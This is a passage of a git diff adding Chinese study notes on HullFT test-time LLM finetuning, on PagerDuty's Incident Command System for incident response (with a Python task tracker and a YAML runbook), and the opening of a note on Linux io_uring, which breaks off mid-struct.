常高度冗余 | 凸组合自动降权近重复方向 | +| 精挑细选太慢 | SIFT 等信息论选择开销大 | Frank–Wolfe 只需内积,无投影 | +| 同页多看几遍 | 每条样本都 forward-backward | 重复样本梯度缓存复用 | + +--- + +## 这篇论文在解决什么问题 + +### 1. 测试时微调(TTFT)为什么重要又为什么难 + +大模型在全网语料上训练,权重是**全局最优**,未必对**当前这一条 prompt** 最优。TTFT(Test-Time Finetuning)的做法是: + +1. 收到查询 $q$; +2. 从大语料里检索相关训练序列; +3. 在这些序列上**更新模型参数**(通常每条约一步梯度); +4. 用更新后的模型回答 $q$。 + +研究表明,哪怕只检索 20 条邻居,也能显著缩小不同参数量级模型之间的差距(Sun et al., 2023)。但 TTFT 发生在**推理时**,选数据和微调都计入**用户可见延迟**——慢了就失去实用价值。 + +### 2. 现有方法的质量–效率两难 + +- **kNN / FAISS 最近邻**:极快,但大语料里重复内容多,top-$N$ 可能几乎相同,梯度信号重复。 +- **SIFT 等多样性感知选择**:BPB(bits-per-byte,越低越好)明显更好,但每 query 的贪心选择成本高,在 $N$ 较小时瓶颈突出。 + +HullFT 用**可证明的稀疏凸逼近**同时拿到**相关性 + 多样性**,再用**整数化 + 梯度复用**把微调成本打下来。 + +### 3. 核心几何直觉 + +在 embedding 空间里,**方向**承载语义:不同方向的样本覆盖更广特征;几乎同方向的样本高度冗余。把「为 prompt 选训练数据」写成: + +> 用候选池里少量点的**凸组合**(权重非负、和为 1)去逼近 query 向量 $q$。 + +这就是**近似 Carathéodory 问题**:存在至多 $O(1/\varepsilon)$ 个点的组合,使 $\|q - Pw\|_2^2 \leq \varepsilon$。Frank–Wolfe 算法可以**构造性**地求这种稀疏解——每轮最多加一个支撑点,且**无需投影**到概率单纯形,每步只做内积。 + +--- + +## 核心概念 + +### 1. 符号与设定 + +- $q \in \mathbb{R}^d$:当前 prompt 的 embedding(论文用归一化 RoBERTa)。 +- $\{p_1,\ldots,p_K\}$:FAISS 从语料检索的 $K=200$ 候选池。 +- $P \in \mathbb{R}^{d \times K}$:列向量为各候选 embedding。 +- $w \in \Delta^K$:概率单纯形上的稀疏权重,$Pw = \sum_i w_i p_i$。 +- $N$:微调预算——最终训练 multiset 的**总条数**(允许重复)。 +- $m$:Frank–Wolfe 支撑集上限(support cap)。 +- $\varepsilon$:FW 停止阈值,$\|q - Pw\|_2^2 \leq \varepsilon$ 时停。 + +### 2. 阶段一:Frank–Wolfe 凸重建选支撑集 + +优化目标: + +$$ +\min_{w \in \Delta^K} \|q - Pw\|_2^2 +$$ + +算法要点(Alg. 3): + +1. 从与 $q$ 内积最大的顶点 $e_{v^*}$ 出发; +2. 算残差 $r = q - Pw$,选 $v = \arg\max_i \langle r, p_i \rangle$; +3. 沿 $w \to e_v$ 做**精确线搜索**更新 $w$; +4. 每步至多新增一个非零权重 → **稀疏性**; +5. 近重复点几乎不减小残差 → **自然被跳过**; +6. 当误差 $\leq \varepsilon$ 或支撑点数 $= m$ 时停止。 + +**为什么比显式多样性惩罚好?** 多样性来自凸逼近定义本身,不需要 MMR、DPP 或额外贪心信息增益。 + +### 3. 阶段二:几何整数化(Integerization) + +FW 输出的是**分数权重** $w_i \in (0,1]$,不能直接「训练 0.37 条样本」。微调需要恰好 $N$ 条**等权**样本的 multiset。 + +对支撑集 $S = \{s_1,\ldots,s_{|S|}\}$,求整数计数 $c_j \geq 0$,$\sum_j c_j = N$,最小化: + +$$ +\left\| q - \sum_{j=1}^{|S|} \frac{c_j}{N} s_j \right\|_2^2 +$$ + +三步(Alg. 1): + +1. **Floor**:$c_j = \lfloor N \tilde{w}_j \rfloor$; +2. **Greedy fill**:剩余名额逐个分给「加一份后重建误差下降最多」的点; +3. **Local swap**:两轮 pairwise 交换(从 $j$ 挪 1 份到 $k$)微调,预算不变。 + +整数化不仅「可执行」,还**故意制造重复**——为下一阶段梯度复用铺路。 + +### 4. 阶段三:梯度复用(Gradient Reuse / Caching) + +对支撑点 $s_j$ 出现 $c_j$ 次,朴素做法做 $c_j$ 次 forward-backward。HullFT 每 $r$ 步才真正算梯度,中间步复用缓存: + +$$ +\tilde{g}_t = \begin{cases} +\nabla_\theta \mathcal{L}(\theta_t; s_j) & t \bmod r = 0 \\ +\tilde{g}_{t-1} & \text{otherwise} +\end{cases} +\qquad +\theta_{t+1} = \text{AdamStep}(\theta_t, \tilde{g}_t, \eta) +$$ + +前向–反向次数从 $N$ 降到约 $\lceil N/r \rceil$。默认 $r=2$,实验显示平均 **1.48×** 微调加速,BPB 仅损失约 **0.64%**。 + +**关键实现细节**:同一文本的 $c_j$ 次更新必须**连续排列**,整数化按 multiplicity upfront 固定顺序,满足此结构。 + +### 5. 完整管线(图 1) + +``` +Query q + → FAISS 检索 K=200 候选 + → Frank–Wolfe 得稀疏 w + → Integerize 得 (S, c),共 N 条 + → 在 multiset 上 Adam 微调(梯度复用) + → 用微调后模型评估 q +``` + +--- + +## 实验结果速览 + +- **数据**:The Pile 的 12 个子集;GPT-2;150 条测试 query;共享 $K=200$ 候选池。 +- **基线**:kNN(top-$N$ 邻居)、SIFT(信息论去冗余选择)。 +- **指标**:BPB% 相对未微调基线;横轴为**总耗时**(选择 + 微调),扫 $N \in [1,50]$。 + +主要结论: + +| 预算 $T$ | HullFT vs 最强基线 | +|----------|-------------------| +| 0.75s | BPB 低 **6.4%** | +| 1.75s | 低 **3.8%**(12 子集中 11 个赢) | +| 2.0s | 低 **3.4%** | +| $\lesssim 4.5s$ | Pareto 占优 | + +机制拆解:选择阶段比 SIFT 快 **8.8×**($N=50$ 时 0.059s vs 0.524s);梯度复用再省 **1.48×** 微调时间——同一墙钟内 HullFT 能跑到更大的有效 $N$。 + +--- + +## 代码示例 1:Frank–Wolfe 凸重建(教学简化版) + +下面用 NumPy 实现论文 Alg. 3 的核心循环,帮助理解「残差方向选顶点 + 线搜索」: + +```python +import numpy as np + +def frank_wolfe_select(q, P, eps=1e-3, m=20): + """ + q: (d,) 查询 embedding + P: (d, K) 候选池,每列一个 p_i + 返回: w 在概率单纯形上,稀疏支撑 <= m + """ + K = P.shape[1] + # 从与 q 内积最大的顶点出发 + v_star = int(np.argmax(P.T @ q)) + w = np.zeros(K) + w[v_star] = 1.0 + + for _ in range(m - 1): + residual = q - P @ w + if np.dot(residual, residual) <= eps: + break + # 残差方向内积最大的候选 + v = int(np.argmax(P.T @ residual)) + # 沿 w -> e_v 的精确线搜索(二次目标闭式解) + d = np.zeros(K) + d[v] = 1.0 + d -= w # 方向 e_v - w + Pd = P @ d + num = np.dot(residual, Pd) + den = np.dot(Pd, Pd) + 1e-12 + gamma = np.clip(num / den, 0.0, 1.0) + w = (1 - gamma) * w + w[v] += gamma + return w + +# 玩具例子:2D 平面里用 3 个候选重建 query +q = np.array([0.6, 0.5]) +P = np.array([ + [1.0, 0.2, 0.0], # p1: 偏右 + [0.0, 0.8, 1.0], # p2,p3: 偏上 +]).T # shape (2, 3) + +w = frank_wolfe_select(q, P, eps=1e-4, m=5) +support = np.where(w > 1e-9)[0] +print("权重 w:", np.round(w, 3)) +print("支撑索引:", support.tolist()) +print("重建误差:", np.linalg.norm(q - P @ w)) +``` + +运行后你会看到 $w$ 只有少量非零项,且 $P@w$ 接近 $q$——这就是「稀疏、相关、多样」的几何选集。 + +--- + +## 代码示例 2:整数化 + 梯度复用微调循环 + +第二个例子演示 Alg. 1 的 floor + greedy fill,以及 $r=2$ 的梯度刷新策略(伪 PyTorch): + +```python +import numpy as np + +def integerize(q, support_vecs, frac_weights, N, swap_passes=2): + """ + support_vecs: (|S|, d) 支撑点矩阵 + frac_weights: (|S|,) FW 输出的正权重(已归一化到支撑上) + 返回 counts: (|S|,) 整数,sum = N + """ + S = len(frac_weights) + counts = np.floor(N * frac_weights).astype(int) + + def recon_error(c): + mean = (support_vecs.T @ c) / N # (d,) + return np.sum((q - mean) ** 2) + + # Greedy fill 剩余名额 + while counts.sum() < N: + best_j, best_err = 0, float("inf") + for j in range(S): + trial = counts.copy() + trial[j] += 1 + err = recon_error(trial) + if err < best_err: + best_err, best_j = err, j + counts[best_j] += 1 + + # Local swap refinement + for _ in range(swap_passes): + improved = False + for j in range(S): + for k in range(S): + if j == k or counts[j] == 0: + continue + trial = counts.copy() + trial[j] -= 1 + trial[k] += 1 + if recon_error(trial) < recon_error(counts): + counts = trial + improved = True + if not improved: + break + return counts + +def finetune_with_gradient_reuse(model, sequences, counts, lr=5e-5, r=2): + """ + sequences: 与 counts 一一对应的唯一文本列表 + 每个 s_j 连续训练 counts[j] 步,每 r 步刷新梯度 + """ + cached_grad = None + step_in_block = 0 + for seq, cj in zip(sequences, counts): + for t in range(cj): + if t % r == 0: + loss = model.compute_loss(seq) + cached_grad = model.backward(loss) + # 复用 cached_grad 做 Adam 步(论文用 AdamStep) + model.optimizer_step(cached_grad, lr) + return model + +# 演示整数化 +q = np.array([1.0, 0.0]) +support = np.array([[1.0, 0.0], [0.0, 1.0], [0.7, 0.3]]) +w_frac = np.array([0.55, 0.30, 0.15]) +N = 10 +counts = integerize(q, support, w_frac, N) +print("整数计数:", counts, "总和:", counts.sum()) +# 可能输出类似 [6, 3, 1]:重复多的条目微调时可梯度复用 +``` + +官方实现见 [alaa-khamis/HullFT](https://github.com/alaa-khamis/HullFT):`hullft/` 包提供 runtime 选择器与微调,`data/` 负责 FAISS 预计算候选池。 + +--- + +## 与相关工作的关系 + +| 方法 | 选择策略 | 微调 | 主要代价 | +|------|---------|------|---------| +| kNN TTFT | top-$N$ 最近邻 | 每样本一步 | 冗余高 | +| SIFT | 信息增益 − 冗余惩罚 | 每样本一步 | 选择慢 | +| RAG | 检索进 context | 不更新权重 | 上下文长度受限 | +| MMR / DPP | 显式多样性 | — | 非 query 条件凸优化 | +| **HullFT** | Frank–Wolfe 凸重建 | 梯度复用 | 需 embedding + 预计算池 | + +HullFT 把**主动学习 / coreset** 里的 Frank–Wolfe 思想推进到**每条 query 的推理时选集**,并用整数化连接「连续几何解」与「离散训练 multiset」。 + +--- + +## 优势、局限与何时值得用 + +### 优势 + +1. **理论接地**:近似 Carathéodory + FW,稀疏性与多样性有几何解释。 +2. **选择快**:每轮 FW 只需矩阵–向量内积,无 SIFT 式重优化。 +3. **微调快**:整数 multiset 自带重复 → 梯度缓存,$r=2$ 几乎无损。 +4. **延迟敏感场景强**:$T \lesssim 4s$ 时相对 kNN/SIFT 全面占优。 + +### 局限 + +1. **依赖 embedding 质量**:RoBERTa 向量若与下游损失不对齐,凸重建会偏。 +2. **需预计算基础设施**:FAISS 索引、候选池 JSON/NPZ(论文实验设置)。 +3. **梯度复用是近似**:$r$ 过大(如 3)会损 BPB;仅适用于短步、同序列连续块。 +4. **模型规模实验集中在 GPT-2**:更大模型、更强基线上的外推需更多验证。 + +### 实践 checklist + +- [ ] 为语料建 FAISS + 固定 $K$ 候选池预计算 +- [ ] 调 $m$(支撑上限)、$\varepsilon$(FW 精度)、$N$(微调条数) +- [ ] 整数化后检查 multiset 重复率——重复少时梯度复用收益有限 +- [ ] 默认 $r=2$;在总延迟预算下扫 $N$ 找最优 BPB–时间折中 + +--- + +## 一句话总结 + +**HullFT 把「为当前 prompt 挑训练数据」变成 embedding 空间里的稀疏凸重建(Frank–Wolfe),再把分数权重整数化成可训练的 $N$ 条 multiset,并对重复样本缓存梯度——在测试时微调场景里同时加速「选题」和「刷题」,于紧延迟预算下显著降低 BPB。** + +--- + +## 参考资料 + +- 论文:[Efficient Test-Time Finetuning of LLMs via Convex Reconstruction and Gradient Caching](https://arxiv.org/abs/2605.30337)(Khamis & Maalouf, 2026) +- 代码:[https://github.com/alaa-khamis/HullFT](https://github.com/alaa-khamis/HullFT) +- 基线 TTFT:Sun et al. nearest-neighbor test-time training;SIFT 信息论选择(同系列工作) +- 理论背景:Carathéodory 定理、Frank–Wolfe / conditional gradient、coreset 几何摘要 diff --git a/src/content/docs/papers/incident-command-system-2022.md b/src/content/docs/papers/incident-command-system-2022.md new file mode 100644 index 000000000..d4f9bad47 --- /dev/null +++ b/src/content/docs/papers/incident-command-system-2022.md @@ -0,0 +1,361 @@ +--- +title: Incident Command System for Tech Operations — 技术事故里的「现场总指挥」 +来源: https://response.pagerduty.com/training/incident_commander/ +日期: 2026-06-13 +子分类: 工程文化 +分类: 其他 +provenance: pipeline-v3 +--- + +## 先想成什么事 + +想象商场里突然冒烟,警铃大作。这时最怕的不是火本身,而是**二十个人同时喊不同方案**:保安去拉闸、电工查线路、店长打电话、有人在群里发未经证实的照片。 + +消防系统里早就有答案:**现场只认一个总指挥(Incident Commander)**。他不必亲自灭火,但要: + +- 问清「烟从哪来、影响多大」; +- 让专家汇报,**点名**谁去关燃气、谁去疏散; +- 每隔几分钟对外报平安; +- 决定「先救人还是先断电」——错了也比没人拍板强。 + +PagerDuty 把美国应急体系里的 **Incident Command System(ICS,事故指挥系统)** 改造成适合软件团队的流程,并开源在 [Incident Response Documentation](https://response.pagerduty.com/)。核心文档之一便是 [Incident Commander 培训指南](https://response.pagerduty.com/training/incident_commander/):教你在数据库宕机、支付超时、区域故障时,如何当那个**不碰键盘、但让整个响应不瘫痪**的人。 + +日常类比再往前一步:IC 像**电影导演**——自己不上场演戏,但场记、摄影、灯光都向他汇报;剪辑意见可以听,**开机拍哪条镜头由他定**。事故响应里,Subject Matter Expert(SME,领域专家)是演员,IC 是导演。 + +## 这篇材料在说什么 + +| 维度 | 内容 | +|------|------| +| 名称 | Incident Command System for Tech Operations(PagerDuty 实践版) | +| 来源 | PagerDuty 开源事故响应手册 + IC 培训页 | +| 血统 | 源自美国野火/灾害应急 ICS,PagerDuty 按「不涉及人命」场景做了裁剪 | +| 一句话 | **重大事故期间,用固定角色与固定话术,把混乱的多人调试变成可预测的协同** | + +与 [[chaos-engineering-netflix-2016]] 的关系:混沌工程回答「我们能不能承受故障」;ICS 回答「故障已经发生时,**谁说话算数、信息往哪流**」。与 [[dora-state-of-devops-2023]] 里的 **MTTR(平均恢复时间)** 也直接相关——恢复快慢往往取决于协调成本,而不只是技术难度。 + +## 为什么值得学(零基础图景) + +没有 ICS 时,典型反模式是: + +1. **最资深的工程师边查日志边指挥**,上下文切换导致修复变慢; +2. Zoom 里七个人同时改生产; +3. Slack 线程 200 条,没人知道当前决策是什么; +4. 高管进来问「还要多久」,团队被迫编 Excel 而不是修服务。 + +PagerDuty 的论点是:**协调是一种专职工作**。IC 不需要深度懂每个服务,但需要会: + +- 收集症状与影响面(Size-Up); +- 收集方案、评估风险、**拍板**(Stabilize); +- 定时播报(Update); +- 验证修复或回到上一步(Verify)。 + +培训页明确写:**实习生也可以当 IC**,只要完成 shadow / reverse shadow,并把自己放上值班表。 + +## 核心概念 + +### 1. 角色分工(战时编制) + +PagerDuty [Different Roles](https://response.pagerduty.com/before/different_roles/) 把响应拆成可扩展编制。最小可用集通常只有 **IC + 修复者**;成熟团队会补齐下表。 + +| 角色 | 缩写 | 做什么 | 不做什么 | +|------|------|--------|----------| +| **Incident Commander** | IC | 唯一决策源;委派任务;对外口径审批 | 看 Grafana、ssh、改配置 | +| **Deputy** | 副 IC | 盯遗漏、计时、热备接管 | 与 IC 抢决策权 | +| **Scribe** | 记录员 | 时间线、决策、链接写入 Slack/文档 | 参与技术争论 | +| **Subject Matter Expert** | SME | 查因、提方案、**被指派**后执行 | 自行其是改生产 | +| **Customer Liaison** | 对外联络 | 状态页、客户沟通草稿 | 技术修复 | +| **Internal Liaison** | 对内联络 | 通知其他部门、收集非技术诉求 | 代替 IC 指挥 | + +关键原则:**信息向上汇聚到 IC,指令向下派发**。SME 向 IC 汇报发现与建议;是否回滚、是否公开声明,由 IC 决定。 + +### 2. IC 的唯一使命 + +培训页把 IC 的目的浓缩成一句: + +> **Keep the incident moving towards resolution.**(让事故持续朝解决方向推进。) + +这意味着 IC 要随时想 **Plan B**:如果三分钟后回滚没效果,下一手是什么?宁可选一个「次优但可执行」的方案,也不要全场沉默等完美答案。 + +### 3. 四阶段循环:Size-Up → Stabilize → Update → Verify + +这是每次重大事故的主循环,来自 [Incident Commander 培训](https://response.pagerduty.com/training/incident_commander/#handling-incidents) 的 **Handling Incidents** 章节。 + +```text + ┌──────────┐ + │ Size-Up │ 什么坏了?影响多大?是否在扩大? + └────┬─────┘ + ▼ + ┌──────────┐ + │ Stabilize│ 收集方案 → 决策 → 征求强烈反对 → 指派任务 + └────┬─────┘ + ▼ + ┌──────────┐ + │ Update │ 定期状态播报(内部 + 利益相关方) + └────┬─────┘ + ▼ + ┌──────────┐ + │ Verify │ 任务完成了吗?好了就收尾;没好就回到 Size-Up + └──────────┘ +``` + +**Size-Up(研判)** 要问: + +- 「What's wrong?」——症状是什么? +- 「Is this affecting multiple services?」——范围、是否在升级? + +**Stabilize(稳住)** 步骤: + +1. 问专家:有哪些动作?风险各是什么? +2. IC 说:**「We're proceeding with …」**(我们按某方案执行) +3. **「Are there any strong objections?」**(有谁强烈反对?)——注意不是「大家都同意吗」,而是只收集**强烈**反对,避免嘈杂与沉默并存 +4. **「Alice, please do X, I'll come back in 3 minutes. Understood?」**——任务必须**指派到具体的人**并**限时** + +**Update(同步)** 在等待时填空,避免会议死寂。 + +**Verify(验证)** 回到被指派的人:完成了吗?没解决则重新 Size-Up。 + +### 4. 话术与反模式(Lingo) + +| 要说 | 不要说 | 原因 | +|------|--------|------| +| 「Bob,请在 3 分钟内查 web 延迟,明白吗?」 | 「谁能看一下延迟?」 | 避免 **bystander effect(旁观者效应)** | +| 「是否有**强烈**反对?」 | 「大家都同意吗?」 | 后者引发叠话或沉默 | +| 「This is [NAME], I am the **Incident Commander**.」 | 「我是 IC」 | 新人不懂缩写;**commander** 明确权威 | +| 「Do you wish to take command?」 | 与高管争论 | **Executive swoop** 时把「夺权」显性化 | + +[During an Incident](https://response.pagerduty.com/during/during_an_incident/) 还规定:SME **只建议、不擅自执行**;IC 不确定是否对外公告时,原则往往是 **「If in doubt, post it out」**(有疑虑就发状态公告)。 + +### 5. 复杂事故:子团队与缩小范围 + +当人数超过 IC 能有效掌控的跨度(通常 ~7 人),可 spin off **Alpha / Bravo / Charlie** 子组:指定组长、限时、**子组只通过组长与 IC 沟通**。 + +根因明确后,IC 应**缩小会议**:点名「请 Deputy、Scribe、SRE 留下,其他人可退出」——凌晨三点的人性化设计。 + +### 6. 指挥权交接(Transfer of Command) + +疲劳、复杂度变化、私人紧急事务都可以交接。流程: + +1. 在 Slack 私聊副 IC 说明上下文; +2. 在会议上:**「I am handing over command to [X].」** +3. 新 IC 重新做开场自我介绍。 + +注意:**更资深的人到场 ≠ 自动换指挥**。职级在和平年代有效,战时只认 IC 角色。 + +### 7. 培训路径 + +PagerDuty 建议的训练阶梯(见 IC 培训页): + +1. 阅读角色文档; +2. 参加 **Failure Friday**(故意演练):先旁观 → 当 Scribe → 当 IC; +3. **Shadow** 一周:跟真实 IC,不发言; +4. **Reverse shadow** 一周:你指挥,导师只在失控时接管; +5. **毕业**:把自己放上 IC on-call 排班。 + +游戏 *Keep Talking and Nobody Explodes* 被当作低成本协调练习——信息不完整、一人指挥、多人执行。 + +## 代码示例一:用 Python 实现「限时任务看板」(IC 的委派追踪器) + +IC 的核心负担之一是:**谁在被指派什么、何时该追问**。下面是一个极简的 in-memory 任务看板,可在事故 Slack bot 或 CLI 里使用;体现培训页里的 **assign → time-box → acknowledge** 三步。 + +```python +from dataclasses import dataclass, field +from datetime import datetime, timedelta +from enum import Enum +import json + +class TaskState(str, Enum): + ASSIGNED = "assigned" + ACKED = "acked" + DONE = "done" + OVERDUE = "overdue" + +@dataclass +class IncidentTask: + assignee: str + instruction: str + due_at: datetime + state: TaskState = TaskState.ASSIGNED + ack_text: str = "" + + def is_overdue(self, now: datetime) -> bool: + return self.state not in (TaskState.DONE,) and now >= self.due_at + +class IncidentBridge: + """模拟事故桥接器:IC 委派、Deputy 可轮询超时""" + + def __init__(self, incident_id: str, commander: str): + self.incident_id = incident_id + self.commander = commander + self.tasks: list[IncidentTask] = [] + + def assign(self, assignee: str, instruction: str, minutes: int) -> IncidentTask: + task = IncidentTask( + assignee=assignee, + instruction=instruction, + due_at=datetime.utcnow() + timedelta(minutes=minutes), + ) + self.tasks.append(task) + return task + + def acknowledge(self, assignee: str, text: str = "Understood") -> None: + for t in reversed(self.tasks): + if t.assignee == assignee and t.state == TaskState.ASSIGNED: + t.state = TaskState.ACKED + t.ack_text = text + return + raise ValueError(f"no open task for {assignee}") + + def complete(self, assignee: str) -> None: + for t in reversed(self.tasks): + if t.assignee == assignee and t.state != TaskState.DONE: + t.state = TaskState.DONE + return + + def overdue(self, now: datetime | None = None) -> list[IncidentTask]: + now = now or datetime.utcnow() + out = [] + for t in self.tasks: + if t.is_overdue(now): + t.state = TaskState.OVERDUE + out.append(t) + return out + + def ic_status_line(self) -> str: + """生成 Update 阶段的口播提纲""" + parts = [f"INC {self.incident_id} — commander {self.commander}"] + for t in self.tasks: + parts.append( + f"- {t.assignee}: {t.instruction} [{t.state.value}, due {t.due_at.isoformat()}Z]" + ) + return "\n".join(parts) + +# --- 模拟一次 Stabilize 阶段的委派 --- +bridge = IncidentBridge("INC-2026-0412", commander="Alice") +bridge.assign("Bob", "check p99 latency on checkout-api", minutes=3) +bridge.assign("Carol", "confirm last deploy hash for payments", minutes=5) +bridge.acknowledge("Bob") + +print(bridge.ic_status_line()) +print("overdue:", [t.assignee for t in bridge.overdue()]) +``` + +要点: + +- 每个任务绑定**一个人 + 截止时间**,对应 IC 话术里的 **「I'll come back to you in X minutes」**; +- Deputy 可以定时调用 `overdue()` 提醒 IC 追问; +- `ic_status_line()` 帮助 Scribe 把 Update 口播结构化。 + +## 代码示例二:事故响应 Runbook 的 YAML + 检查清单生成 + +把 ICS 流程固化成可版本化的 runbook,便于 onboarding 与演练。下面 YAML 描述角色、阶段检查项与标准口播;用短脚本渲染成值班笔记本。 + +```yaml +# incident-runbook.yaml — 与 PagerDuty open-source IR 对齐的骨架 +incident: + severity: SEV-1 + bridge: + zoom: "https://example.com/bridge/rotating" + slack: "#inc-sev1" + roles: + incident_commander: oncall-ic + deputy: oncall-ic-shadow + scribe: auto-rotate + customer_liaison: oncall-support-lead + +phases: + size_up: + prompts: + - "What's wrong? (symptoms)" + - "Is this affecting multiple services?" + - "Is impact escalating, flapping, or static?" + stabilize: + decision_template: "We're proceeding with {action} because {rationale}." + objection_poll: "Are there any strong objections to this plan?" + assign_template: "{name}, please {task}. I'll come back in {minutes} minutes. Understood?" + update: + cadence_minutes: 5 + public_status_if_in_doubt: true + verify: + follow_up: "Have you finished {task}?" + +announcements: + start: "This is {name}, I am the Incident Commander for this call." + handover: "Everyone on the call, be advised, I am handing over command to {name}." + end: "We're ending the call at this time. Follow-up in {slack}. Thanks everyone." +``` + +```python +#!/usr/bin/env python3 +"""render-runbook.py — 从 YAML 生成 IC 口袋检查清单""" +import sys +from pathlib import Path +import yaml + +def main(path: Path) -> None: + doc = yaml.safe_load(path.read_text()) + inc = doc["incident"] + print(f"# Incident checklist — {inc['severity']}\n") + print("## Roles") + for role, who in inc["roles"].items(): + print(f"- {role}: {who}") + print("\n## Phases") + for phase, body in doc["phases"].items(): + print(f"\n### {phase}") + for key, val in body.items(): + if isinstance(val, list): + for item in val: + print(f"- [ ] {item}") + else: + print(f"- {key}: {val}") + print("\n## Announcements") + for name, tmpl in doc["announcements"].items(): + print(f"- {name}: `{tmpl}`") + +if __name__ == "__main__": + main(Path(sys.argv[1])) +``` + +运行 `python render-runbook.py incident-runbook.yaml` 会得到可打印的检查清单,适合 **Failure Friday** 或新 IC shadow 时随身携带。 + +## 与「普通 on-call」的差异 + +| 维度 | 普通 on-call | ICS 重大事故模式 | +|------|--------------|------------------| +| 决策 | 谁懂谁上 | **唯一 IC**,职级让位 | +| 沟通 | Slack 自由讨论 | 口播 + Scribe 时间线 | +| 修复 | 处理人可能即指挥 | **指挥与执行分离** | +| 对外 | 临时拼凑公告 | Customer Liaison + IC 审批 | +| 事后 | 口头吐槽 | 指定 postmortem 负责人 | + +Getting Started 文档建议:**先从 IC 角色起步**,有人够再加 Scribe;用**假事故**练「和平时期到战时」的心态切换。 + +## 常见坑(Incident Response Pitfalls) + +1. **IC 亲自查日志** — 失去全局视角;应立刻委派给 SME。 +2. **「Can someone…」** — 任务悬空;必须点名。 +3. **无限时指派** — 无法 Verify;三分钟、五分钟都要说出来。 +4. **会议不缩小** — 无关人员凌晨耗着,次日二次事故。 +5. **高管夺权但不接班** — 用 **「Do you wish to take command?」** 把权责说清楚。 +6. **只有一位 IC** — 应尽早培养多人并 **daily on-call rotation**(PagerDuty 建议从周排班尽快过渡到日排班)。 + +## 落地清单(给零基础团队) + +1. 定义何为 **major incident**(例如 SEV-1/SEV-2 触发桥接)。 +2. 指定沟通渠道(Zoom/Meet + `#incident` Slack)。 +3. 选 2–3 人训练 IC,建立 shadow 机制。 +4. 写一页纸 runbook:角色表 + 四阶段 + 三条口播模板。 +5. 每月一次演练(Failure Friday 或 game day)。 +6. 每次真实事故后做 **blameless postmortem**,Scribe 的时间线是输入。 + +## 进一步阅读 + +- [Incident Commander 培训](https://response.pagerduty.com/training/incident_commander/) — 本文主来源 +- [Different Roles](https://response.pagerduty.com/before/different_roles/) — 角色职责全文 +- [During an Incident](https://response.pagerduty.com/during/during_an_incident/) — IC / Deputy / SME 分步指令 +- [Getting Started](https://response.pagerduty.com/getting_started/) — 最小可行 ICS +- [Incident Response Training 课程快照](https://response.pagerduty.com/training/courses/incident_response/) — 2018 开源课件 +- 关联笔记:[[chaos-engineering-netflix-2016]]、[[dora-state-of-devops-2023]] + +## 小结 + +**Incident Command System for Tech Operations** 不是又一个 on-call 排班表,而是一套**战时宪法**:谁指挥、谁执行、谁记录、谁对外说话,以及决策时用什么句子。PagerDuty 用十年事故经验证明:把 ICS 从火灾现场搬到数据中心,能显著降低「人越多越乱」的协调税。你不必是最强的调试者,但必须能让最强的那几个人**朝同一个方向用力**——这就是 Incident Commander 存在的理由。 diff --git a/src/content/docs/papers/io-uring-axboe-2019.md b/src/content/docs/papers/io-uring-axboe-2019.md new file mode 100644 index 000000000..948b8b34f --- /dev/null +++ b/src/content/docs/papers/io-uring-axboe-2019.md @@ -0,0 +1,288 @@ +--- +title: Efficient IO with io_uring — Linux 异步 IO 的环形队列革命 +来源: 'https://kernel.dk/io_uring.pdf' +日期: 2026-06-13 +分类: 操作系统 +子分类: 内核与虚拟化 +难度: 中级 +provenance: pipeline-v3 +--- + +## 是什么 + +Jens Axboe 在 2019 年发表的这篇白皮书,介绍了 Linux 新一代异步 IO 接口 **io_uring**。它的核心思想可以用一句日常类比概括: + +> 传统 IO 像**每次点外卖都要打电话**给餐厅确认订单;io_uring 则是在你和厨房之间放**两条共享传送带**——你把订单卡放上去,厨师做完菜把回执放下来,**只有带子快满或你要催单时才按一次门铃**(syscall)。 + +两条传送带在文档里的正式名称是: + +| 名称 | 谁写 | 谁读 | 放什么 | +|------|------|------|--------| +| **SQ ring**(Submission Queue) | 应用程序 | 内核 | 「我要做什么 IO」——Submission Queue Entry(SQE) | +| **CQ ring**(Completion Queue) | 内核 | 应用程序 | 「做完了,结果是…」——Completion Queue Event(CQE) | + +io_uring 在 Linux 5.1(2019 年 5 月)合入主线。作者 Axboe 是 Linux block layer 长期维护者,也是磁盘压测工具 **fio** 的作者——他比任何人都清楚旧接口哪里不够用。 + +## 为什么需要它:旧接口哪里不行 + +Linux 做文件 IO 的方式很多:`read`/`write`、`pread`/`pwrite`、向量版 `preadv`/`pwritev`……但它们有一个共同点:**同步**——syscall 返回时,数据已经读完或写完。 + +想要异步,POSIX 有 `aio_read`/`aio_write`,性能往往很差;Linux 还有原生 **libaio**(`io_submit`/`io_getevents`),白皮书列举了它的致命缺陷: + +1. **只支持 O_DIRECT**:普通 buffered IO(走 page cache 的读写)在 libaio 里**退化成同步**,大多数应用根本用不了。 +2. **提交路径不确定**:元数据 IO、设备 request slot 满时,提交本身可能阻塞——你以为在「异步提交」,实际上还在等。 +3. **内存拷贝开销大**:每次提交拷贝 64+8 字节、每次完成拷贝 32 字节,对小块 IO 很亏。 +4. **至少两次 syscall**:一次 submit、一次 wait——在 Spectre/Meltdown 之后,syscall 本身就更贵了。 + +当 NVMe SSD 延迟压到 10µs 以下、单盘 IOPS 破百万时,这些开销从「能忍」变成「卡脖子」。Axboe 最初尝试修补 libaio,发现只能解决其中一个问题,代码还变得更乱——于是**从零设计 io_uring**。 + +## 设计目标(白皮书 §3) + +按重要性从低到高,白皮书列了五条: + +1. **易用、难误用** —— 接口直觉清晰。 +2. **可扩展** —— 不只服务块设备,还要覆盖网络和未来新 IO 类型。 +3. **功能丰富** —— 不让每个应用自己造 IO 线程池。 +4. **高效** —— 单请求开销要低,512B~4KB 的小 IO 也要划算。 +5. **可扩展(scalability)** —— 单核能榨干现代存储的峰值 IOPS。 + +这五条看似互相矛盾(高效 + 易用往往冲突),io_uring 用**共享内存 + 环形队列**把矛盾压到最低。 + +## 核心概念 + +### 1. 双环 = 生产者-消费者模型 + +异步 IO 有两类动作:**提交请求**和**收割完成**。 + +- 提交时:应用是生产者,内核是消费者 → **SQ ring** +- 完成时:内核是生产者,应用是消费者 → **CQ ring** + +每个环都是 **SPSC ring buffer**(单生产者单消费者环形缓冲区):用 `head`/`tail` 两个计数器协调,**不需要和内核抢同一把锁**,靠内存屏障(memory barrier)保证可见性即可。 + +环大小必须是 **2 的幂**;用 `index = tail & mask` 定位槽位,计数器自然回绕,不必维护「环已满」标志。 + +### 2. SQE 与 CQE:两张「订单卡」 + +**SQE**(64 字节,Submission Queue Entry)描述一次 IO 请求: + +```c +struct io_uring_sqe { + __u8 opcode; // 操作码,如 IORING_OP_READV + __u8 flags; + __u16 ioprio; + __s32 